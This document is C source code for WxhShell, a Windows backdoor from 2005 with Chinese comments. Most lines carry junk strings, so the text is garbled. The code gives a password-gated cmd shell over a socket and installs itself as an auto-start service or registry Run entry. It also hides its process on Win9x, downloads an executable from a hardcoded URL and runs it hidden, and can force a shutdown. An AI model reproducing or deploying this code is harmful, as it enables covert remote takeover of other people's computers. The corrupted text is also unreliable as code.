  case 'd': { n31nORx50  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L:lnm9<  
    if(Boot(SHUTDOWN)) X,o ]tgg=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gb Mu;CA  
    else { 2y8FP#  
    closesocket(wsh); ;9=4]YZt  
    ExitThread(0); G+C{_o#3  
    } Ssa/;O2  
    break; r[kHVT8  
    } !{uV-c-5,  
  // 获取shell F3Vvqt*2  
  case 's': { U;.cXU{  
    CmdShell(wsh); I|>IV  
    closesocket(wsh); ci(BPnQ  
    ExitThread(0); -ECnX/ "  
    break; 98<^!mwF  
  } ji ,`?  
  // 退出 >2mY%  
  case 'x': { aOoWB^;6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [czWUD  
    CloseIt(wsh); O,J,Q|` H&  
    break; 95D(0qv  
    } x5U;i  
  // 离开 ,(c'h:@M  
  case 'q': { l~kxK.Ru  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^MT20pL  
    closesocket(wsh); Dn~t_n  
    WSACleanup(); &|zV Wl  
    exit(1); MD>E0p)  
    break; waV4~BdL  
        } K~5(j{Kb8  
  } ,0>_(5  
  } X)[QEq^  
j=>WWlZ  
  // 提示信息 KHaYb5(a[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2V+[:>F  
} g@>y`AFnr  
  } %-!:$ 1;  
/h&>tYVio  
  return; ZhoB/TgdL  
} wYHyVY2tj2  
)GC[xo4bg  
// shell模块句柄 \nVoBW(  
int CmdShell(SOCKET sock) :J5CmU $  
{ wLQM]$O  
STARTUPINFO si; <@@@Pl!~  
ZeroMemory(&si,sizeof(si)); +w@/$datI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .M\0+,%/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *O Kve  
PROCESS_INFORMATION ProcessInfo; = &U7:u  
char cmdline[]="cmd"; N9f;X{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y:'c<k  
  return 0; mP)im]H  
} 1;MUemnx`  
qRZLv7X*j  
// 自身启动模式 ,76nDXy`  
int StartFromService(void) cC,gd\}M  
{ yLt?XhRlp  
typedef struct ]b&qC (  
{ e=Kr>~q=  
  DWORD ExitStatus; cXOb=  
  DWORD PebBaseAddress; )jRaQ~Sm  
  DWORD AffinityMask; SY2((!n._  
  DWORD BasePriority; R&}{_1dj8  
  ULONG UniqueProcessId; Z:MU5(Te  
  ULONG InheritedFromUniqueProcessId; =(5}0}j  
}   PROCESS_BASIC_INFORMATION; QV%eTA  
zhwajc  
PROCNTQSIP NtQueryInformationProcess; j7Lw( AJ  
04z2gAo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =Sn!'@%U]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F8Z6Ss|v3  
TUd=qnu  
  HANDLE             hProcess; W}oAgUd  
  PROCESS_BASIC_INFORMATION pbi; 'P-FeN^  
RK=YFE 0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W&a<Q)o*I  
  if(NULL == hInst ) return 0; m=I A/HOR^  
\RTXfe-`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W;wu2'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nHL(v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7R om#Kl:  
 _$4vk  
  if (!NtQueryInformationProcess) return 0; /E6 Tt  
"{(4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JE+{Vx}  
  if(!hProcess) return 0; RD p(Ci  
hLLg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JSiLG0  
QGd"Z lQ  
  CloseHandle(hProcess); '^M3g-C[Jg  
b*qC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [k6 5i  
if(hProcess==NULL) return 0; })r[q sv  
='r4z z  
HMODULE hMod; utwqP~  
char procName[255]; 9Fxz9_ i  
unsigned long cbNeeded; NvlG@^&S  
 !.k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y3C$%yv0  
[mk!] r  
  CloseHandle(hProcess); 0IjQqI  
"Mmvf'N  
if(strstr(procName,"services")) return 1; // 以服务启动 /!0{9F<  
jCbxI^3A  
  return 0; // 注册表启动 :j,e0#+sA  
} t%<d}QuHW  
zc-.W2"Hu  
// 主模块 J;BG/VI1  
int StartWxhshell(LPSTR lpCmdLine) e c`3Qw  
{ G@QZmuj&KH  
  SOCKET wsl; |+i?FYA\  
BOOL val=TRUE; dmD ':1  
  int port=0; C_Z[ul  
  struct sockaddr_in door; X\1'd,V  
"n@=.x  
  if(wscfg.ws_autoins) Install(); iPJZ%  
8[;U|SR"  
port=atoi(lpCmdLine); -xf=dzm)  
G%K<YyAP  
if(port<=0) port=wscfg.ws_port; (UTt_ry g  
TNC,{sM  
  WSADATA data; XA:v:JFS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fXYg %  
<%Re!y@OL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TNV#   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Si]8*>}-B  
  door.sin_family = AF_INET; Fu(I<o+T-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a4! AvG  
  door.sin_port = htons(port); EkqsE$52  
x3my8'h@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KdOy3O_5N  
closesocket(wsl); q-}J0vu\K  
return 1; hQgi--Msw'  
} ,*V{g pC7  
!g~xn2m$R  
  if(listen(wsl,2) == INVALID_SOCKET) { |&TRN1  
closesocket(wsl); l>M&S^/s j  
return 1; @Tr8.4  
} vf(\?Js ,  
  Wxhshell(wsl); kqA`d  
  WSACleanup(); `riK[@  
( UV8M\  
return 0; s?5(E}  
Tl Z|E '_C  
} \^3\_T&6  
-U=bC   
// 以NT服务方式启动 mOyBSOad4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R28h%KN  
{ BfF$  
DWORD   status = 0; F/}PN1#T  
  DWORD   specificError = 0xfffffff; 4>>d "<}C  
O&irgc!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aC$hg+U$G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5o2;26c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Xi1/wbC  
  serviceStatus.dwWin32ExitCode     = 0; vh+Ih Gi  
  serviceStatus.dwServiceSpecificExitCode = 0; *}0g~8Gp  
  serviceStatus.dwCheckPoint       = 0; l>S~)FNwXJ  
  serviceStatus.dwWaitHint       = 0;  #IyxH$  
4S@^ym  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X%S?o  
  if (hServiceStatusHandle==0) return; +kQ$X{+;8  
Ah28D!Gor  
status = GetLastError(); ,`MUd0 n  
  if (status!=NO_ERROR) xO6)lVd  
{ grnlJ=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; do%6P^ qA  
    serviceStatus.dwCheckPoint       = 0; 2|Hq[c=~  
    serviceStatus.dwWaitHint       = 0; RpR;1ktF>  
    serviceStatus.dwWin32ExitCode     = status; QkwBw^'_5  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7\K=8G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3j(GcR 9  
    return; z6b!,lp  
  } N%:QaCZKw  
Ylll4w62N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BYrj#n5  
  serviceStatus.dwCheckPoint       = 0; gz-}nCSi  
  serviceStatus.dwWaitHint       = 0; Y+sycdq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c63DuHA*C  
} Y|g8xkI}XB  
_CBG?  
// 处理NT服务事件,比如:启动、停止 AY{caM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?x"<0k1g  
{ Id(L}i(X  
switch(fdwControl) {d(@o!;Fi  
{ frk(2C8T  
case SERVICE_CONTROL_STOP: $+)SW {7  
  serviceStatus.dwWin32ExitCode = 0; [F/>pL5U$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gEMxK2MNXj  
  serviceStatus.dwCheckPoint   = 0; {?17Zth  
  serviceStatus.dwWaitHint     = 0; |#Bz&T  
  { $uF} GP_)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Q#_<IcI  
  } lzN\~5a}  
  return; b'4{l[3~nl  
case SERVICE_CONTROL_PAUSE: +HQX]t:Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lO9ML-8C1  
  break; 5\V>Sj(  
case SERVICE_CONTROL_CONTINUE: f+j\,LJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &aqF ||v%)  
  break; D|@*HX@_Xp  
case SERVICE_CONTROL_INTERROGATE: G< l+94(  
  break; Jc"xH~,  
}; N2vSJ\u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F??})YX  
} Wqy|Y*$qT  
L]3 V)`}  
// 标准应用程序主函数 9o"k 7$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H[UV]qO,  
{ x}$SB%9/  
Ly0^ L-~|  
// 获取操作系统版本 ) RS*MEgA  
OsIsNt=GetOsVer(); k*d0ws#<l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bf|s=,D  
Stq&^S\x69  
  // 从命令行安装 qR/~a  
  if(strpbrk(lpCmdLine,"iI")) Install(); DpH+lpC  
//n$#c _}u  
  // 下载执行文件 {b6| wQ\  
if(wscfg.ws_downexe) { s4/4o_[W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) : a @_GIC  
  WinExec(wscfg.ws_filenam,SW_HIDE); _ ]@   
} NKd}g  
I !=ew |  
if(!OsIsNt) { '/%]B@!  
// 如果时win9x,隐藏进程并且设置为注册表启动 U1}-]^\  
HideProc(); +Kw:z?  
StartWxhshell(lpCmdLine); ?55t0  
} jT>G8}h  
else byoP1F%  
  if(StartFromService()) v% 6uU  
  // 以服务方式启动 3DRJl, v  
  StartServiceCtrlDispatcher(DispatchTable); AI0YK"c?  
else m r"b/oM{  
  // 普通方式启动 Z:9xf:g *  
  StartWxhshell(lpCmdLine); o{7wPwQ;*  
n@xC?D:t*  
return 0; r==d^  
} IcRA[ g  
<ZO"0oz%  
f]%:.N~1w  
=jXBF.  
=========================================== jYDpJ##Zb  
q{T [|(!  
f?vbIc`  
@lpo$lN0R  
Htl2CcZ  
{o1 vv+i  
"  @oE^(  
D1hy:KkAv]  
#include <stdio.h> .8Eh[yiln  
#include <string.h> 3,`I\>No  
#include <windows.h> nSY3=Edx=  
#include <winsock2.h> ;Z^\$v9?  
#include <winsvc.h> C.qN Bl*  
#include <urlmon.h> q:h7Jik  
)!z4LE  
#pragma comment (lib, "Ws2_32.lib") T_iX1blrgh  
#pragma comment (lib, "urlmon.lib") kNq>{dNRx  
x*>@knP<-  
#define MAX_USER   100 // 最大客户端连接数 Qw>~] d,Z  
#define BUF_SOCK   200 // sock buffer c12mT(+-  
#define KEY_BUFF   255 // 输入 buffer NxY B)`~  
%8Eu{3  
#define REBOOT     0   // 重启 @^P<(%p  
#define SHUTDOWN   1   // 关机 S 7pf QF  
AXnRA W  
#define DEF_PORT   5000 // 监听端口 CjR!dh1w_  
6Qtyv  
#define REG_LEN     16   // 注册表键长度 jW]Q-  
#define SVC_LEN     80   // NT服务名长度 BoJpf8e'-e  
Td,2.YMQ  
// 从dll定义API zF: :?L~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u@&e{w~0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0O>T{<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qe,jK{Y< -  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o3b=)E  
X1DE   
// wxhshell配置信息 r2ZSkP.  
struct WSCFG { an q1zH  
  int ws_port;         // 监听端口 9w3KAca  
  char ws_passstr[REG_LEN]; // 口令 TAL,(&[s  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;|qbz]t2(  
  char ws_regname[REG_LEN]; // 注册表键名 ~jz!jF~I  
  char ws_svcname[REG_LEN]; // 服务名 gXJtk;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2i9FzpC3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V.w L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jk (tw-B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?+)>JvWDz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p : {,~ 1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d1jg3{pwA  
Z  FIy  
}; )6 U6~!k  
GJs{t1 E  
// default Wxhshell configuration ]S0=&x@,  
struct WSCFG wscfg={DEF_PORT, z}BuR*WSY{  
    "xuhuanlingzhe", K<wg-JgA  
    1, &/m0N\n?  
    "Wxhshell", t,NE`LC  
    "Wxhshell", tJe5`L  
            "WxhShell Service", -HwqR Y s  
    "Wrsky Windows CmdShell Service", y^0 mf|  
    "Please Input Your Password: ", gQQve{'  
  1, 8|JPQDS7  
  "http://www.wrsky.com/wxhshell.exe", 8I8{xt4   
  "Wxhshell.exe" z`H|]${X  
    }; - +<ai  
h\T}$jgfWm  
// 消息定义模块 kxQ al  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xiv8q/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u+lNcyp"MW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @[LM8 @:  
char *msg_ws_ext="\n\rExit."; nt:ZO,C:R  
char *msg_ws_end="\n\rQuit."; :(Ak:  
char *msg_ws_boot="\n\rReboot..."; HXm&`  
char *msg_ws_poff="\n\rShutdown..."; C>A} e6o  
char *msg_ws_down="\n\rSave to "; Z-j?N{3&  
cb=ixn  
char *msg_ws_err="\n\rErr!"; {K N7Y"AI  
char *msg_ws_ok="\n\rOK!"; q# 6|/R*  
t/lQSUip  
char ExeFile[MAX_PATH]; -{2Vz[[  
int nUser = 0; XqLR2 d  
HANDLE handles[MAX_USER]; ,UYe OM2Ao  
int OsIsNt; h[bC#(  
G>edJPfQ  
SERVICE_STATUS       serviceStatus; QsX`IYk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M1z ?E@kz  
<<DPer2  
// 函数声明 r}:D g fn  
int Install(void); %0 p9\I  
int Uninstall(void); `*o ko[\3  
int DownloadFile(char *sURL, SOCKET wsh); Fs}B\R/J  
int Boot(int flag); FwE<_hq//  
void HideProc(void); FM=XoMP q  
int GetOsVer(void); e%km}mA  
int Wxhshell(SOCKET wsl); 5KNa-\  
void TalkWithClient(void *cs); FKtG  
int CmdShell(SOCKET sock); Z*R~dHr   
int StartFromService(void); H'IxB[  
int StartWxhshell(LPSTR lpCmdLine); !5qV}5  
w7E#mdW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U#x`u|L&6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ba tXj]:  
_'|C-j`u$  
// 数据结构和表定义 ~\*wt(o  
SERVICE_TABLE_ENTRY DispatchTable[] = ' %&-`/x  
{ SB|Cr:wM  
{wscfg.ws_svcname, NTServiceMain}, ! o?E.  
{NULL, NULL} 4d_Az'7`4  
}; W!+eJ!Da  
d(j g "@  
// 自我安装 [{0/'+;9  
int Install(void) '=H3Y_{oO  
{ 3, 3n  
  char svExeFile[MAX_PATH]; 0h kZ  
  HKEY key; +y_V$q$G  
  strcpy(svExeFile,ExeFile); usNq]  
ujn7DBE"  
// 如果是win9x系统,修改注册表设为自启动 6P T)  
if(!OsIsNt) { a$EudD#+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r]'[qaP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]5Q)mWF  
  RegCloseKey(key); CD. XZA[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wHZ(=z/q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kT%m`  
  RegCloseKey(key); fo=@ X>S  
  return 0; pxI[/vS N  
    } BM9:|}\J65  
  } .] 0:`Y,;  
} *x)u9rO]  
else { - i{1h"  
ac,<+y7A  
// 如果是NT以上系统,安装为系统服务 j*FpQiBoT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i!G<sfL  
if (schSCManager!=0) hXD`OlX  
{ xouBBb=  
  SC_HANDLE schService = CreateService b)>l7nOc  
  ( <O41 M\,  
  schSCManager, -M+o;  
  wscfg.ws_svcname, /IG3>|R  
  wscfg.ws_svcdisp, 1]W8A.ZS  
  SERVICE_ALL_ACCESS, f7a"}.D $  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [U$`nnp  
  SERVICE_AUTO_START, 3t5W wrNh  
  SERVICE_ERROR_NORMAL, 3*F|`js"  
  svExeFile, K<k\A@rv8H  
  NULL, ~iIFe+6  
  NULL, K#N5S]2yb  
  NULL, -dw/wHf"  
  NULL, ^Ge|tBMoKE  
  NULL Sq5}v]k@&  
  ); P  V9q=  
  if (schService!=0) 8}X>u2t  
  { c],Zw  
  CloseServiceHandle(schService); <J]N E|:  
  CloseServiceHandle(schSCManager); ,!^g8zO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MIu'OJ"z~  
  strcat(svExeFile,wscfg.ws_svcname); bWZ oGFT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PKev)M;C+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CHdYY7\{  
  RegCloseKey(key); -5\.\L3y)  
  return 0; {;38&Izwz  
    } QvzE:]pyi  
  } Q@TeU#2Y  
  CloseServiceHandle(schSCManager); z-|d/#h  
} 2{G7ignv  
} aw3rTT(  
R_IT${O  
return 1; { !t6& A  
} OYOczb]  
BO 3z$c1yU  
// 自我卸载 (#Xgfb"S3  
int Uninstall(void) TrVQ]9;jWk  
{ 6f J5Y iQ  
  HKEY key; 08$l=  
"-Uqv@  
if(!OsIsNt) { @ 3b-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cMfnc.P\K  
  RegDeleteValue(key,wscfg.ws_regname); 3ZAzv en  
  RegCloseKey(key); `)H| &!wT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o6X<FE#8  
  RegDeleteValue(key,wscfg.ws_regname); .Pa6HA !  
  RegCloseKey(key); PkK#HD  
  return 0; 8WwLKZ}  
  } ab5i7@Ed  
} 3H5<w4yk  
} E;r~8^9)  
else { ,27=i>>  
} d7o-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jG^OF5.  
if (schSCManager!=0) ra]\!;}L0  
{ UQ2;Dg G%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]Wc 2$  
  if (schService!=0) #~6X9,x=  
  { HmpV; <t3  
  if(DeleteService(schService)!=0) { (Jy > ,~O  
  CloseServiceHandle(schService); z6OJT6<'  
  CloseServiceHandle(schSCManager); !M k]%  
  return 0; Z?'?+48xv4  
  } l 4cTN @E  
  CloseServiceHandle(schService); 6 wD  
  } Eqh&<]q  
  CloseServiceHandle(schSCManager); +B OuU#  
} 68!=`49r>  
} Z15b'^)?9  
&&n-$WEl  
return 1; M5B?`mTl  
} lJ<( mVt  
N4, !b_1  
// 从指定url下载文件 WtbOm  
int DownloadFile(char *sURL, SOCKET wsh) YifTC-Q;  
{ 1<f,>BQ+  
  HRESULT hr; ^^(4xHN  
char seps[]= "/"; oSoU9_W  
char *token; /7b$C]@k  
char *file; I=V]_Ik4 N  
char myURL[MAX_PATH]; 7/Mhz{o;W  
char myFILE[MAX_PATH]; (a8oI )~  
YwF\  
strcpy(myURL,sURL); ?E7.x%n7X5  
  token=strtok(myURL,seps);  av!~B,  
  while(token!=NULL) wEIAU  
  { 7A>glZ/x  
    file=token; !'%`g,,r  
  token=strtok(NULL,seps); UyOoyyd.  
  } $@L}/MO  
FuO'%3;c  
GetCurrentDirectory(MAX_PATH,myFILE); PciiDh~/  
strcat(myFILE, "\\"); +tFl  
strcat(myFILE, file); 4";[Xr{pW  
  send(wsh,myFILE,strlen(myFILE),0); ,:/3'L  
send(wsh,"...",3,0); %D*yXNsY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2d-C}&}L\  
  if(hr==S_OK) ht^xc c  
return 0; rKWkT"  
else C AF{7 `{  
return 1; 24/ ^_Td  
.JL?RH2@8  
} 9@z"~H  
TWJ%? /d  
// 系统电源模块 .cm$*>LW:x  
int Boot(int flag) #3Jn_Y%P.  
{ 4O3-PU>N  
  HANDLE hToken; V s1Z$HS`  
  TOKEN_PRIVILEGES tkp; 54, (;  
n>I NJ  
  if(OsIsNt) { [ f`V_1d3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C9FQo7   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )3~):+  
    tkp.PrivilegeCount = 1; !`#xFRHe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'x!5fAy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 421ol  
if(flag==REBOOT) { [0mg\n?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) / L/hR4  
  return 0; /0qLMlL$  
} B@2VI 1%  
else { >~k"C,6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YV>]c9!q  
  return 0; X Sw0t8  
} 2N:|BO>  
  } cp>1b8l6?  
  else { Q'S"$^~{  
if(flag==REBOOT) { k\a&4v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JA~v:ec  
  return 0; k),.  
} :;]iUjiC8  
else { cfd7)(6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T#e ;$\  
  return 0; /a!M6:,pX  
} i>68gfx  
} .0>2j(  
,P9q[  
return 1; \P|PAU@,  
} G\1\L*+0  
8/dx)*JCq  
// win9x进程隐藏模块 u:f.g?!`"  
void HideProc(void) 7U\GX  
{ G>);8T%l  
&z(E-w/S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L^0s  
  if ( hKernel != NULL ) X) peY  
  { '{?7\+o.x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B#T4m]E/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8vLaSZ="[  
    FreeLibrary(hKernel); Yq?FiE0  
  } VgO:`bDF  
@H^Yf  
return; ?W(>Yefk  
} z.q^`01/H  
5dE@ePO[/9  
// 获取操作系统版本 lU[" ZFP  
int GetOsVer(void) O+^l>+ZGj?  
{ Gd8FXk,.!  
  OSVERSIONINFO winfo; \'gb{JO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V94eUmx>?+  
  GetVersionEx(&winfo); A+&^As2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9=J+5V^qD<  
  return 1; [Cx'a7KWL  
  else LzW8)<N  
  return 0; N1 }#6YNw  
} ;5bzXW#U  
$ &Ntdn  
// 客户端句柄模块 aI l}|n"  
int Wxhshell(SOCKET wsl) ShV#XnQ  
{ F5|6*K  
  SOCKET wsh; R"9^FQ13  
  struct sockaddr_in client; "Vg1'd}f  
  DWORD myID; 3S~Gi,  
{T^"`%[   
  while(nUser<MAX_USER) hv.$p5UY*  
{ \Y0o~JD  
  int nSize=sizeof(client); [%alnY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AUm"^-@x#>  
  if(wsh==INVALID_SOCKET) return 1; c05kHB$O  
.BR2pf|R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  Ip0~  
if(handles[nUser]==0) 8tR(i[L   
  closesocket(wsh); <:mV^tK  
else %)$^_4.g  
  nUser++; F?wfh7q  
  } gxIGL-1M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :4f>S) m  
GEdWpYKS-`  
  return 0; \CP)$0j-&o  
} ok"v`76~f5  
G>/Gw90E  
// 关闭 socket -.>b7ui  
void CloseIt(SOCKET wsh) Nm.H  
{ K\7\  
closesocket(wsh); avmuI^LLs  
nUser--; S4m??B  
ExitThread(0); ,F,\bp}  
} -_bnGY%,  
*ydkx\pT  
// 客户端请求句柄 SM;*vkwz~  
void TalkWithClient(void *cs) i: 6`Rmz1.  
{ $?.0>0 ,<  
`u z R!^X  
  SOCKET wsh=(SOCKET)cs; vU:FDkx*nn  
  char pwd[SVC_LEN]; H\Y5Fd9)  
  char cmd[KEY_BUFF]; ?*36&Iq}  
char chr[1]; ^u? #fLr  
int i,j; X0\2qD  
-bN;nSgb  
  while (nUser < MAX_USER) { OT*C7=  
q`HuVilNH  
if(wscfg.ws_passstr) { _.9):i2<SF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x}Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -VqZw&"  
  //ZeroMemory(pwd,KEY_BUFF); tai=2,'  
      i=0; TN xl?5:  
  while(i<SVC_LEN) { uANG_sX^n  
jT~PwDSFt3  
  // 设置超时 6zmt^U   
  fd_set FdRead; %V,2,NCd  
  struct timeval TimeOut; Nl[]8G};  
  FD_ZERO(&FdRead); *&f^R}O  
  FD_SET(wsh,&FdRead); t<)Cbple\  
  TimeOut.tv_sec=8; L\cd=&b`  
  TimeOut.tv_usec=0; JnW G_|m)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1S&GhJ<wJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #H'j;=]:  
81gcM?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O_zW/#  
  pwd=chr[0]; LW={| 3}  
  if(chr[0]==0xd || chr[0]==0xa) { P=.yXirm?  
  pwd=0; VH.m H<  
  break; +VJS/  
  } !e8OC9 _x  
  i++; w\"~ *(M  
    } n{d0}N =  
E [:eMJR  
  // 如果是非法用户,关闭 socket zTgY=fuz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j20/Q)=h  
} Lro[ |A  
aG"j9A~ &  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r8.`W\SKX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q*L>MV  
(Dy6I;S  
while(1) { >@b]t,rrK  
9H~2 iW,Q;  
  ZeroMemory(cmd,KEY_BUFF); jGg,)~)Y  
wzXIEWJ  
      // 自动支持客户端 telnet标准   ?QDHEC62  
  j=0; iyA=d{S;V  
  while(j<KEY_BUFF) { ~XzT~WxW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;PS V3Zh  
  cmd[j]=chr[0]; v qt#JdPp9  
  if(chr[0]==0xa || chr[0]==0xd) { 'n:|D7t  
  cmd[j]=0; Vu0d\l^$  
  break; zBQV2.@  
  } wMW."gM|  
  j++; RP@U0o  
    } /C[Q?  
q,i&%  
  // 下载文件 *^ZJ&.  
  if(strstr(cmd,"http://")) { J!{t/_aw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eD|p1+76  
  if(DownloadFile(cmd,wsh)) YiO3.+H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  i/vo  
  else 2 c 2lK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AiP#wK;  
  } - w{`/  
  else { ]C;X/8'Jf5  
x%v[(*F#y  
